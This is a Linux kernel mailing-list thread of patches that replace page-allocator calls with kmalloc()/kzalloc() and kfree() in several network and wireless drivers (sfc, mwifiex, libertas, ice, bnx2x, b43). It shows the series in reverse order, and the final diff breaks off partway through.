* [PATCH net-next 7/8] sfc: use kmalloc() to allocate logging buffer
From: Mike Rapoport (Microsoft) @ 2026-06-30 10:59 UTC (permalink / raw)
To: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni
Cc: Brian Norris, Edward Cree, Francesco Dolcini, Manish Chopra,
Mike Rapoport, Przemek Kitszel, Sudarsana Kalluru, Tony Nguyen,
b43-dev, intel-wired-lan, libertas-dev, linux-kernel, linux-mm,
linux-net-drivers, linux-wireless, netdev
In-Reply-To: <20260630-b4-drivers-net-v1-0-672162a91f37@kernel.org>
efx_mcdi_init() allocates a logging buffer for MCDI firmware
communication diagnostics.
This buffer can be allocated with kmalloc() as there's nothing special
about it to go directly to the page allocator.
kmalloc() provides a better API that does not require ugly casts and
kfree() does not need to know the size of the freed object.
Performance difference between kmalloc() and __get_free_pages() is not
measurable as both allocators take an object/page from a per-CPU list for
fast path allocations.
For the slow path the performance is anyway determined by the amount of
reclaim involved rather than by what allocator is used.
Replace use of __get_free_page() with kmalloc() and free_page() with
kfree().
Link: https://lore.kernel.org/all/635405e4-9423-4a25-a6e7-e03c8ea0bcbe@redhat.com
Signed-off-by: Mike Rapoport (Microsoft) <rppt@kernel.org>
---
drivers/net/ethernet/sfc/mcdi.c | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/drivers/net/ethernet/sfc/mcdi.c b/drivers/net/ethernet/sfc/mcdi.c
index e65db9b70724..b806d3d90c42 100644
--- a/drivers/net/ethernet/sfc/mcdi.c
+++ b/drivers/net/ethernet/sfc/mcdi.c
@@ -7,6 +7,7 @@
#include <linux/delay.h>
#include <linux/moduleparam.h>
#include <linux/atomic.h>
+#include <linux/slab.h>
#include "net_driver.h"
#include "nic.h"
#include "io.h"
@@ -71,7 +72,7 @@ int efx_mcdi_init(struct efx_nic *efx)
mcdi->efx = efx;
#ifdef CONFIG_SFC_MCDI_LOGGING
/* consuming code assumes buffer is page-sized */
- mcdi->logging_buffer = (char *)__get_free_page(GFP_KERNEL);
+ mcdi->logging_buffer = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!mcdi->logging_buffer)
goto fail1;
mcdi->logging_enabled = mcdi_logging_default;
@@ -112,7 +113,7 @@ int efx_mcdi_init(struct efx_nic *efx)
return 0;
fail2:
#ifdef CONFIG_SFC_MCDI_LOGGING
- free_page((unsigned long)mcdi->logging_buffer);
+ kfree(mcdi->logging_buffer);
fail1:
#endif
kfree(efx->mcdi);
@@ -138,7 +139,7 @@ void efx_mcdi_fini(struct efx_nic *efx)
return;
#ifdef CONFIG_SFC_MCDI_LOGGING
- free_page((unsigned long)efx->mcdi->iface.logging_buffer);
+ kfree(efx->mcdi->iface.logging_buffer);
#endif
kfree(efx->mcdi);
--
2.53.0
^ permalink raw reply related
* [PATCH net-next 6/8] sfc/siena: use kmalloc() to allocate logging buffer
From: Mike Rapoport (Microsoft) @ 2026-06-30 10:59 UTC (permalink / raw)
To: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni
Cc: Brian Norris, Edward Cree, Francesco Dolcini, Manish Chopra,
Mike Rapoport, Przemek Kitszel, Sudarsana Kalluru, Tony Nguyen,
b43-dev, intel-wired-lan, libertas-dev, linux-kernel, linux-mm,
linux-net-drivers, linux-wireless, netdev
In-Reply-To: <20260630-b4-drivers-net-v1-0-672162a91f37@kernel.org>
efx_siena_mcdi_init() allocates a logging buffer for MCDI firmware
communication diagnostics.
This buffer can be allocated with kmalloc() as there's nothing special
about it to go directly to the page allocator.
kmalloc() provides a better API that does not require ugly casts and
kfree() does not need to know the size of the freed object.
Performance difference between kmalloc() and __get_free_pages() is not
measurable as both allocators take an object/page from a per-CPU list for
fast path allocations.
For the slow path the performance is anyway determined by the amount of
reclaim involved rather than by what allocator is used.
Replace use of __get_free_page() with kmalloc() and free_page() with
kfree().
Link: https://lore.kernel.org/all/635405e4-9423-4a25-a6e7-e03c8ea0bcbe@redhat.com
Signed-off-by: Mike Rapoport (Microsoft) <rppt@kernel.org>
---
drivers/net/ethernet/sfc/siena/mcdi.c | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/drivers/net/ethernet/sfc/siena/mcdi.c b/drivers/net/ethernet/sfc/siena/mcdi.c
index 4d0d6bd5d3d1..048c1e6017c0 100644
--- a/drivers/net/ethernet/sfc/siena/mcdi.c
+++ b/drivers/net/ethernet/sfc/siena/mcdi.c
@@ -7,6 +7,7 @@
#include <linux/delay.h>
#include <linux/moduleparam.h>
#include <linux/atomic.h>
+#include <linux/slab.h>
#include "net_driver.h"
#include "nic.h"
#include "io.h"
@@ -73,7 +74,7 @@ int efx_siena_mcdi_init(struct efx_nic *efx)
mcdi->efx = efx;
#ifdef CONFIG_SFC_SIENA_MCDI_LOGGING
/* consuming code assumes buffer is page-sized */
- mcdi->logging_buffer = (char *)__get_free_page(GFP_KERNEL);
+ mcdi->logging_buffer = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!mcdi->logging_buffer)
goto fail1;
mcdi->logging_enabled = efx_siena_mcdi_logging_default;
@@ -116,7 +117,7 @@ int efx_siena_mcdi_init(struct efx_nic *efx)
return 0;
fail2:
#ifdef CONFIG_SFC_SIENA_MCDI_LOGGING
- free_page((unsigned long)mcdi->logging_buffer);
+ kfree(mcdi->logging_buffer);
fail1:
#endif
kfree(efx->mcdi);
@@ -142,7 +143,7 @@ void efx_siena_mcdi_fini(struct efx_nic *efx)
return;
#ifdef CONFIG_SFC_SIENA_MCDI_LOGGING
- free_page((unsigned long)efx->mcdi->iface.logging_buffer);
+ kfree(efx->mcdi->iface.logging_buffer);
#endif
kfree(efx->mcdi);
--
2.53.0
^ permalink raw reply related
* [PATCH net-next 5/8] mwifiex: debugfs: use kzalloc() to allocate formatting buffers
From: Mike Rapoport (Microsoft) @ 2026-06-30 10:59 UTC (permalink / raw)
To: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni
Cc: Brian Norris, Edward Cree, Francesco Dolcini, Manish Chopra,
Mike Rapoport, Przemek Kitszel, Sudarsana Kalluru, Tony Nguyen,
b43-dev, intel-wired-lan, libertas-dev, linux-kernel, linux-mm,
linux-net-drivers, linux-wireless, netdev
In-Reply-To: <20260630-b4-drivers-net-v1-0-672162a91f37@kernel.org>
mwifiex debugfs functions allocate buffers for formatting debug output
text using get_zeroed_page().
These buffers can be allocated with kmalloc() as there's nothing special
about them to go directly to the page allocator.
kmalloc() provides a better API that does not require ugly casts and
kfree() does not need to know the size of the freed object.
Performance difference between kmalloc() and __get_free_pages() is not
measurable as both allocators take an object/page from a per-CPU list for
fast path allocations.
For the slow path the performance is anyway determined by the amount of
reclaim involved rather than by what allocator is used.
Replace use of get_zeroed_page() with kzalloc() and free_page() with
kfree().
Link: https://lore.kernel.org/all/635405e4-9423-4a25-a6e7-e03c8ea0bcbe@redhat.com
Signed-off-by: Mike Rapoport (Microsoft) <rppt@kernel.org>
---
drivers/net/wireless/marvell/mwifiex/debugfs.c | 62 +++++++++++---------------
1 file changed, 27 insertions(+), 35 deletions(-)
diff --git a/drivers/net/wireless/marvell/mwifiex/debugfs.c b/drivers/net/wireless/marvell/mwifiex/debugfs.c
index 9deaf59dcb62..573768b6ad91 100644
--- a/drivers/net/wireless/marvell/mwifiex/debugfs.c
+++ b/drivers/net/wireless/marvell/mwifiex/debugfs.c
@@ -6,6 +6,7 @@
*/
#include <linux/debugfs.h>
+#include <linux/slab.h>
#include "main.h"
#include "11n.h"
@@ -67,8 +68,8 @@ mwifiex_info_read(struct file *file, char __user *ubuf,
struct net_device *netdev = priv->netdev;
struct netdev_hw_addr *ha;
struct netdev_queue *txq;
- unsigned long page = get_zeroed_page(GFP_KERNEL);
- char *p = (char *) page, fmt[64];
+ char *page = kzalloc(PAGE_SIZE, GFP_KERNEL);
+ char *p = page, fmt[64];
struct mwifiex_bss_info info;
ssize_t ret;
int i = 0;
@@ -133,11 +134,10 @@ mwifiex_info_read(struct file *file, char __user *ubuf,
}
p += sprintf(p, "\n");
- ret = simple_read_from_buffer(ubuf, count, ppos, (char *) page,
- (unsigned long) p - page);
+ ret = simple_read_from_buffer(ubuf, count, ppos, page, p - page);
free_and_exit:
- free_page(page);
+ kfree(page);
return ret;
}
@@ -168,8 +168,8 @@ mwifiex_getlog_read(struct file *file, char __user *ubuf,
{
struct mwifiex_private *priv =
(struct mwifiex_private *) file->private_data;
- unsigned long page = get_zeroed_page(GFP_KERNEL);
- char *p = (char *) page;
+ char *page = kzalloc(PAGE_SIZE, GFP_KERNEL);
+ char *p = page;
ssize_t ret;
struct mwifiex_ds_get_stats stats;
@@ -220,11 +220,10 @@ mwifiex_getlog_read(struct file *file, char __user *ubuf,
stats.bcn_miss_cnt);
- ret = simple_read_from_buffer(ubuf, count, ppos, (char *) page,
- (unsigned long) p - page);
+ ret = simple_read_from_buffer(ubuf, count, ppos, page, p - page);
free_and_exit:
- free_page(page);
+ kfree(page);
return ret;
}
@@ -247,8 +246,8 @@ mwifiex_histogram_read(struct file *file, char __user *ubuf,
ssize_t ret;
struct mwifiex_histogram_data *phist_data;
int i, value;
- unsigned long page = get_zeroed_page(GFP_KERNEL);
- char *p = (char *)page;
+ char *page = kzalloc(PAGE_SIZE, GFP_KERNEL);
+ char *p = page;
if (!p)
return -ENOMEM;
@@ -309,11 +308,10 @@ mwifiex_histogram_read(struct file *file, char __user *ubuf,
i, value);
}
- ret = simple_read_from_buffer(ubuf, count, ppos, (char *)page,
- (unsigned long)p - page);
+ ret = simple_read_from_buffer(ubuf, count, ppos, page, p - page);
free_and_exit:
- free_page(page);
+ kfree(page);
return ret;
}
@@ -383,8 +381,8 @@ mwifiex_debug_read(struct file *file, char __user *ubuf,
{
struct mwifiex_private *priv =
(struct mwifiex_private *) file->private_data;
- unsigned long page = get_zeroed_page(GFP_KERNEL);
- char *p = (char *) page;
+ char *page = kzalloc(PAGE_SIZE, GFP_KERNEL);
+ char *p = page;
ssize_t ret;
if (!p)
@@ -396,11 +394,10 @@ mwifiex_debug_read(struct file *file, char __user *ubuf,
p += mwifiex_debug_info_to_buffer(priv, p, &info);
- ret = simple_read_from_buffer(ubuf, count, ppos, (char *) page,
- (unsigned long) p - page);
+ ret = simple_read_from_buffer(ubuf, count, ppos, page, p - page);
free_and_exit:
- free_page(page);
+ kfree(page);
return ret;
}
@@ -457,8 +454,7 @@ mwifiex_regrdwr_read(struct file *file, char __user *ubuf,
{
struct mwifiex_private *priv =
(struct mwifiex_private *) file->private_data;
- unsigned long addr = get_zeroed_page(GFP_KERNEL);
- char *buf = (char *) addr;
+ char *buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
int pos = 0, ret = 0;
u32 reg_value;
@@ -497,7 +493,7 @@ mwifiex_regrdwr_read(struct file *file, char __user *ubuf,
ret = simple_read_from_buffer(ubuf, count, ppos, buf, pos);
done:
- free_page(addr);
+ kfree(buf);
return ret;
}
@@ -511,8 +507,7 @@ mwifiex_debug_mask_read(struct file *file, char __user *ubuf,
{
struct mwifiex_private *priv =
(struct mwifiex_private *)file->private_data;
- unsigned long page = get_zeroed_page(GFP_KERNEL);
- char *buf = (char *)page;
+ char *buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
size_t ret = 0;
int pos = 0;
@@ -523,7 +518,7 @@ mwifiex_debug_mask_read(struct file *file, char __user *ubuf,
priv->adapter->debug_mask);
ret = simple_read_from_buffer(ubuf, count, ppos, buf, pos);
- free_page(page);
+ kfree(buf);
return ret;
}
@@ -652,8 +647,7 @@ mwifiex_memrw_read(struct file *file, char __user *ubuf,
size_t count, loff_t *ppos)
{
struct mwifiex_private *priv = (void *)file->private_data;
- unsigned long addr = get_zeroed_page(GFP_KERNEL);
- char *buf = (char *)addr;
+ char *buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
int ret, pos = 0;
if (!buf)
@@ -663,7 +657,7 @@ mwifiex_memrw_read(struct file *file, char __user *ubuf,
priv->mem_rw.value);
ret = simple_read_from_buffer(ubuf, count, ppos, buf, pos);
- free_page(addr);
+ kfree(buf);
return ret;
}
@@ -719,8 +713,7 @@ mwifiex_rdeeprom_read(struct file *file, char __user *ubuf,
{
struct mwifiex_private *priv =
(struct mwifiex_private *) file->private_data;
- unsigned long addr = get_zeroed_page(GFP_KERNEL);
- char *buf = (char *) addr;
+ char *buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
int pos, ret, i;
u8 value[MAX_EEPROM_DATA];
@@ -749,7 +742,7 @@ mwifiex_rdeeprom_read(struct file *file, char __user *ubuf,
done:
ret = simple_read_from_buffer(ubuf, count, ppos, buf, pos);
out_free:
- free_page(addr);
+ kfree(buf);
return ret;
}
@@ -820,8 +813,7 @@ mwifiex_hscfg_read(struct file *file, char __user *ubuf,
size_t count, loff_t *ppos)
{
struct mwifiex_private *priv = (void *)file->private_data;
- unsigned long addr = get_zeroed_page(GFP_KERNEL);
- char *buf = (char *)addr;
+ char *buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
int pos, ret;
struct mwifiex_ds_hs_cfg hscfg;
@@ -836,7 +828,7 @@ mwifiex_hscfg_read(struct file *file, char __user *ubuf,
ret = simple_read_from_buffer(ubuf, count, ppos, buf, pos);
- free_page(addr);
+ kfree(buf);
return ret;
}
--
2.53.0
^ permalink raw reply related
* [PATCH net-next 4/8] libertas: debugfs: use kzalloc() to allocate formatting buffers
From: Mike Rapoport (Microsoft) @ 2026-06-30 10:59 UTC (permalink / raw)
To: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni
Cc: Brian Norris, Edward Cree, Francesco Dolcini, Manish Chopra,
Mike Rapoport, Przemek Kitszel, Sudarsana Kalluru, Tony Nguyen,
b43-dev, intel-wired-lan, libertas-dev, linux-kernel, linux-mm,
linux-net-drivers, linux-wireless, netdev
In-Reply-To: <20260630-b4-drivers-net-v1-0-672162a91f37@kernel.org>
libertas debugfs functions allocate buffers for formatting debug
output text using get_zeroed_page().
These buffers can be allocated with kmalloc() as there's nothing special
about them to go directly to the page allocator.
kmalloc() provides a better API that does not require ugly casts and
kfree() does not need to know the size of the freed object.
Performance difference between kmalloc() and __get_free_pages() is not
measurable as both allocators take an object/page from a per-CPU list for
fast path allocations.
For the slow path the performance is anyway determined by the amount of
reclaim involved rather than by what allocator is used.
Replace use of get_zeroed_page() with kzalloc() and free_page() with
kfree().
Link: https://lore.kernel.org/all/635405e4-9423-4a25-a6e7-e03c8ea0bcbe@redhat.com
Signed-off-by: Mike Rapoport (Microsoft) <rppt@kernel.org>
---
drivers/net/wireless/marvell/libertas/debugfs.c | 39 ++++++++++---------------
1 file changed, 16 insertions(+), 23 deletions(-)
diff --git a/drivers/net/wireless/marvell/libertas/debugfs.c b/drivers/net/wireless/marvell/libertas/debugfs.c
index 9ebd69134940..9428f954837a 100644
--- a/drivers/net/wireless/marvell/libertas/debugfs.c
+++ b/drivers/net/wireless/marvell/libertas/debugfs.c
@@ -35,8 +35,7 @@ static ssize_t lbs_dev_info(struct file *file, char __user *userbuf,
{
struct lbs_private *priv = file->private_data;
size_t pos = 0;
- unsigned long addr = get_zeroed_page(GFP_KERNEL);
- char *buf = (char *)addr;
+ char *buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
ssize_t res;
if (!buf)
return -ENOMEM;
@@ -48,7 +47,7 @@ static ssize_t lbs_dev_info(struct file *file, char __user *userbuf,
res = simple_read_from_buffer(userbuf, count, ppos, buf, pos);
- free_page(addr);
+ kfree(buf);
return res;
}
@@ -96,8 +95,7 @@ static ssize_t lbs_sleepparams_read(struct file *file, char __user *userbuf,
ssize_t ret;
size_t pos = 0;
struct sleep_params sp;
- unsigned long addr = get_zeroed_page(GFP_KERNEL);
- char *buf = (char *)addr;
+ char *buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
if (!buf)
return -ENOMEM;
@@ -113,7 +111,7 @@ static ssize_t lbs_sleepparams_read(struct file *file, char __user *userbuf,
ret = simple_read_from_buffer(userbuf, count, ppos, buf, pos);
out_unlock:
- free_page(addr);
+ kfree(buf);
return ret;
}
@@ -165,8 +163,7 @@ static ssize_t lbs_host_sleep_read(struct file *file, char __user *userbuf,
struct lbs_private *priv = file->private_data;
ssize_t ret;
size_t pos = 0;
- unsigned long addr = get_zeroed_page(GFP_KERNEL);
- char *buf = (char *)addr;
+ char *buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
if (!buf)
return -ENOMEM;
@@ -174,7 +171,7 @@ static ssize_t lbs_host_sleep_read(struct file *file, char __user *userbuf,
ret = simple_read_from_buffer(userbuf, count, ppos, buf, pos);
- free_page(addr);
+ kfree(buf);
return ret;
}
@@ -228,7 +225,7 @@ static ssize_t lbs_threshold_read(uint16_t tlv_type, uint16_t event_mask,
u8 freq;
int events = 0;
- buf = (char *)get_zeroed_page(GFP_KERNEL);
+ buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
if (!buf)
return -ENOMEM;
@@ -261,7 +258,7 @@ static ssize_t lbs_threshold_read(uint16_t tlv_type, uint16_t event_mask,
kfree(subscribed);
out_page:
- free_page((unsigned long)buf);
+ kfree(buf);
return ret;
}
@@ -436,8 +433,7 @@ static ssize_t lbs_rdmac_read(struct file *file, char __user *userbuf,
struct lbs_private *priv = file->private_data;
ssize_t pos = 0;
int ret;
- unsigned long addr = get_zeroed_page(GFP_KERNEL);
- char *buf = (char *)addr;
+ char *buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
u32 val = 0;
if (!buf)
@@ -450,7 +446,7 @@ static ssize_t lbs_rdmac_read(struct file *file, char __user *userbuf,
priv->mac_offset, val);
ret = simple_read_from_buffer(userbuf, count, ppos, buf, pos);
}
- free_page(addr);
+ kfree(buf);
return ret;
}
@@ -506,8 +502,7 @@ static ssize_t lbs_rdbbp_read(struct file *file, char __user *userbuf,
struct lbs_private *priv = file->private_data;
ssize_t pos = 0;
int ret;
- unsigned long addr = get_zeroed_page(GFP_KERNEL);
- char *buf = (char *)addr;
+ char *buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
u32 val;
if (!buf)
@@ -520,7 +515,7 @@ static ssize_t lbs_rdbbp_read(struct file *file, char __user *userbuf,
priv->bbp_offset, val);
ret = simple_read_from_buffer(userbuf, count, ppos, buf, pos);
}
- free_page(addr);
+ kfree(buf);
return ret;
}
@@ -578,8 +573,7 @@ static ssize_t lbs_rdrf_read(struct file *file, char __user *userbuf,
struct lbs_private *priv = file->private_data;
ssize_t pos = 0;
int ret;
- unsigned long addr = get_zeroed_page(GFP_KERNEL);
- char *buf = (char *)addr;
+ char *buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
u32 val;
if (!buf)
@@ -592,7 +586,7 @@ static ssize_t lbs_rdrf_read(struct file *file, char __user *userbuf,
priv->rf_offset, val);
ret = simple_read_from_buffer(userbuf, count, ppos, buf, pos);
}
- free_page(addr);
+ kfree(buf);
return ret;
}
@@ -812,8 +806,7 @@ static ssize_t lbs_debugfs_read(struct file *file, char __user *userbuf,
char *p;
int i;
struct debug_data *d;
- unsigned long addr = get_zeroed_page(GFP_KERNEL);
- char *buf = (char *)addr;
+ char *buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
if (!buf)
return -ENOMEM;
@@ -836,7 +829,7 @@ static ssize_t lbs_debugfs_read(struct file *file, char __user *userbuf,
res = simple_read_from_buffer(userbuf, count, ppos, p, pos);
- free_page(addr);
+ kfree(buf);
return res;
}
--
2.53.0
^ permalink raw reply related
* [PATCH net-next 3/8] ice: use kzalloc() to allocate staging buffer for reading from GNSS
From: Mike Rapoport (Microsoft) @ 2026-06-30 10:59 UTC (permalink / raw)
To: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni
Cc: Brian Norris, Edward Cree, Francesco Dolcini, Manish Chopra,
Mike Rapoport, Przemek Kitszel, Sudarsana Kalluru, Tony Nguyen,
b43-dev, intel-wired-lan, libertas-dev, linux-kernel, linux-mm,
linux-net-drivers, linux-wireless, netdev
In-Reply-To: <20260630-b4-drivers-net-v1-0-672162a91f37@kernel.org>
ice_gnss_read() uses get_zeroed_page() to allocate a staging buffer for
reading GNSS module data via I2C bus.
This buffer can be allocated with kmalloc() as there's nothing special
about it to go directly to the page allocator.
kmalloc() provides a better API that does not require ugly casts and
kfree() does not need to know the size of the freed object.
Performance difference between kmalloc() and __get_free_pages() is not
measurable as both allocators take an object/page from a per-CPU list for
fast path allocations.
For the slow path the performance is anyway determined by the amount of
reclaim involved rather than by what allocator is used.
Replace use of get_zeroed_page() with kzalloc() and free_page() with
kfree().
Link: https://lore.kernel.org/all/635405e4-9423-4a25-a6e7-e03c8ea0bcbe@redhat.com
Signed-off-by: Mike Rapoport (Microsoft) <rppt@kernel.org>
---
drivers/net/ethernet/intel/ice/ice_gnss.c | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/drivers/net/ethernet/intel/ice/ice_gnss.c b/drivers/net/ethernet/intel/ice/ice_gnss.c
index 8fd954f1ebd6..7d21c3417b0b 100644
--- a/drivers/net/ethernet/intel/ice/ice_gnss.c
+++ b/drivers/net/ethernet/intel/ice/ice_gnss.c
@@ -2,6 +2,7 @@
/* Copyright (C) 2021-2022, Intel Corporation. */
#include "ice.h"
+#include <linux/slab.h>
#include "ice_lib.h"
/**
@@ -124,7 +125,7 @@ static void ice_gnss_read(struct kthread_work *work)
data_len = min_t(typeof(data_len), data_len, PAGE_SIZE);
- buf = (char *)get_zeroed_page(GFP_KERNEL);
+ buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
if (!buf) {
err = -ENOMEM;
goto requeue;
@@ -151,7 +152,7 @@ static void ice_gnss_read(struct kthread_work *work)
count, i);
delay = ICE_GNSS_TIMER_DELAY_TIME;
free_buf:
- free_page((unsigned long)buf);
+ kfree(buf);
requeue:
kthread_queue_delayed_work(gnss->kworker, &gnss->read_work, delay);
if (err)
--
2.53.0
^ permalink raw reply related
* [PATCH net-next 2/8] bnx2x: use kzalloc() to allocate mac filtering list
From: Mike Rapoport (Microsoft) @ 2026-06-30 10:59 UTC (permalink / raw)
To: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni
Cc: Brian Norris, Edward Cree, Francesco Dolcini, Manish Chopra,
Mike Rapoport, Przemek Kitszel, Sudarsana Kalluru, Tony Nguyen,
b43-dev, intel-wired-lan, libertas-dev, linux-kernel, linux-mm,
linux-net-drivers, linux-wireless, netdev
In-Reply-To: <20260630-b4-drivers-net-v1-0-672162a91f37@kernel.org>
bnx2x_mcast_enqueue_cmd() allocates memory for mac filtering list using
__get_free_pages().
This memory can be allocated with kzalloc() as there's nothing special
about it to go directly to the page allocator.
kmalloc() provides a better API that does not require ugly casts and
kfree() does not need to know the size of the freed object.
Performance difference between kmalloc() and __get_free_pages() is not
measurable as both allocators take an object/page from a per-CPU list for
fast path allocations.
For the slow path the performance is anyway determined by the amount of
reclaim involved rather than by what allocator is used.
Replace use of __get_free_page() with kzalloc() and free_page() with
kfree().
Link: https://lore.kernel.org/all/635405e4-9423-4a25-a6e7-e03c8ea0bcbe@redhat.com
Signed-off-by: Mike Rapoport (Microsoft) <rppt@kernel.org>
---
drivers/net/ethernet/broadcom/bnx2x/bnx2x_sp.c | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/drivers/net/ethernet/broadcom/bnx2x/bnx2x_sp.c b/drivers/net/ethernet/broadcom/bnx2x/bnx2x_sp.c
index 07a908a2c72f..d560524d317d 100644
--- a/drivers/net/ethernet/broadcom/bnx2x/bnx2x_sp.c
+++ b/drivers/net/ethernet/broadcom/bnx2x/bnx2x_sp.c
@@ -26,6 +26,7 @@
#include <linux/netdevice.h>
#include <linux/etherdevice.h>
#include <linux/crc32c.h>
+#include <linux/slab.h>
#include "bnx2x.h"
#include "bnx2x_cmn.h"
#include "bnx2x_sp.h"
@@ -2664,7 +2665,7 @@ static void bnx2x_free_groups(struct list_head *mcast_group_list)
struct bnx2x_mcast_elem_group,
mcast_group_link);
list_del(¤t_mcast_group->mcast_group_link);
- free_page((unsigned long)current_mcast_group);
+ kfree(current_mcast_group);
}
}
@@ -2713,8 +2714,7 @@ static int bnx2x_mcast_enqueue_cmd(struct bnx2x *bp,
total_elems = BNX2X_MCAST_BINS_NUM;
}
while (total_elems > 0) {
- elem_group = (struct bnx2x_mcast_elem_group *)
- __get_free_page(GFP_ATOMIC | __GFP_ZERO);
+ elem_group = kzalloc(PAGE_SIZE, GFP_ATOMIC);
if (!elem_group) {
bnx2x_free_groups(&new_cmd->group_head);
kfree(new_cmd);
--
2.53.0
^ permalink raw reply related
* [PATCH net-next 1/8] b43, b43legacy: debugfs: use kmalloc() to allocate formatting buffers
From: Mike Rapoport (Microsoft) @ 2026-06-30 10:59 UTC (permalink / raw)
To: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni
Cc: Brian Norris, Edward Cree, Francesco Dolcini, Manish Chopra,
Mike Rapoport, Przemek Kitszel, Sudarsana Kalluru, Tony Nguyen,
b43-dev, intel-wired-lan, libertas-dev, linux-kernel, linux-mm,
linux-net-drivers, linux-wireless, netdev
In-Reply-To: <20260630-b4-drivers-net-v1-0-672162a91f37@kernel.org>
b43* debugfs functions allocate 16 KiB buffers for formatting debug output
text using __get_free_pages().
kmalloc() provides a better API that does not require ugly casts and
kfree() does not need to know the size of the freed object and for 16 Kib
allocation kmalloc() will anyway delegate it to buddy.
Replace use of __get_free_pages() with kmalloc().
Link: https://lore.kernel.org/all/635405e4-9423-4a25-a6e7-e03c8ea0bcbe@redhat.com
Signed-off-by: Mike Rapoport (Microsoft) <rppt@kernel.org>
---
drivers/net/wireless/broadcom/b43/debugfs.c | 12 +++++-------
drivers/net/wireless/broadcom/b43legacy/debugfs.c | 11 +++++------
2 files changed, 10 insertions(+), 13 deletions(-)
diff --git a/drivers/net/wireless/broadcom/b43/debugfs.c b/drivers/net/wireless/broadcom/b43/debugfs.c
index acddae68947a..31a1ff00c1a4 100644
--- a/drivers/net/wireless/broadcom/b43/debugfs.c
+++ b/drivers/net/wireless/broadcom/b43/debugfs.c
@@ -495,7 +495,6 @@ static ssize_t b43_debugfs_read(struct file *file, char __user *userbuf,
ssize_t ret;
char *buf;
const size_t bufsize = 1024 * 16; /* 16 kiB buffer */
- const size_t buforder = get_order(bufsize);
int err = 0;
if (!count)
@@ -518,15 +517,14 @@ static ssize_t b43_debugfs_read(struct file *file, char __user *userbuf,
dfile = fops_to_dfs_file(dev, dfops);
if (!dfile->buffer) {
- buf = (char *)__get_free_pages(GFP_KERNEL, buforder);
+ buf = kzalloc(bufsize, GFP_KERNEL);
if (!buf) {
err = -ENOMEM;
goto out_unlock;
}
- memset(buf, 0, bufsize);
ret = dfops->read(dev, buf, bufsize);
if (ret <= 0) {
- free_pages((unsigned long)buf, buforder);
+ kfree(buf);
err = ret;
goto out_unlock;
}
@@ -538,7 +536,7 @@ static ssize_t b43_debugfs_read(struct file *file, char __user *userbuf,
dfile->buffer,
dfile->data_len);
if (*ppos >= dfile->data_len) {
- free_pages((unsigned long)dfile->buffer, buforder);
+ kfree(dfile->buffer);
dfile->buffer = NULL;
dfile->data_len = 0;
}
@@ -577,7 +575,7 @@ static ssize_t b43_debugfs_write(struct file *file,
goto out_unlock;
}
- buf = (char *)get_zeroed_page(GFP_KERNEL);
+ buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
if (!buf) {
err = -ENOMEM;
goto out_unlock;
@@ -591,7 +589,7 @@ static ssize_t b43_debugfs_write(struct file *file,
goto out_freepage;
out_freepage:
- free_page((unsigned long)buf);
+ kfree(buf);
out_unlock:
mutex_unlock(&dev->wl->mutex);
diff --git a/drivers/net/wireless/broadcom/b43legacy/debugfs.c b/drivers/net/wireless/broadcom/b43legacy/debugfs.c
index 3ad99124d522..42cce5e0402d 100644
--- a/drivers/net/wireless/broadcom/b43legacy/debugfs.c
+++ b/drivers/net/wireless/broadcom/b43legacy/debugfs.c
@@ -192,7 +192,6 @@ static ssize_t b43legacy_debugfs_read(struct file *file, char __user *userbuf,
ssize_t ret;
char *buf;
const size_t bufsize = 1024 * 16; /* 16 KiB buffer */
- const size_t buforder = get_order(bufsize);
int err = 0;
if (!count)
@@ -215,7 +214,7 @@ static ssize_t b43legacy_debugfs_read(struct file *file, char __user *userbuf,
dfile = fops_to_dfs_file(dev, dfops);
if (!dfile->buffer) {
- buf = (char *)__get_free_pages(GFP_KERNEL, buforder);
+ buf = kmalloc(bufsize, GFP_KERNEL);
if (!buf) {
err = -ENOMEM;
goto out_unlock;
@@ -228,7 +227,7 @@ static ssize_t b43legacy_debugfs_read(struct file *file, char __user *userbuf,
} else
ret = dfops->read(dev, buf, bufsize);
if (ret <= 0) {
- free_pages((unsigned long)buf, buforder);
+ kfree(buf);
err = ret;
goto out_unlock;
}
@@ -240,7 +239,7 @@ static ssize_t b43legacy_debugfs_read(struct file *file, char __user *userbuf,
dfile->buffer,
dfile->data_len);
if (*ppos >= dfile->data_len) {
- free_pages((unsigned long)dfile->buffer, buforder);
+ kfree(dfile->buffer);
dfile->buffer = NULL;
dfile->data_len = 0;
}
@@ -279,7 +278,7 @@ static ssize_t b43legacy_debugfs_write(struct file *file,
goto out_unlock;
}
- buf = (char *)get_zeroed_page(GFP_KERNEL);
+ buf = kzalloc(PAGE_SIZE, GFP_KERNEL);
if (!buf) {
err = -ENOMEM;
goto out_unlock;
@@ -298,7 +297,7 @@ static ssize_t b43legacy_debugfs_write(struct file *file,
goto out_freepage;
out_freepage:
- free_page((unsigned long)buf);
+ kfree(buf);
out_unlock:
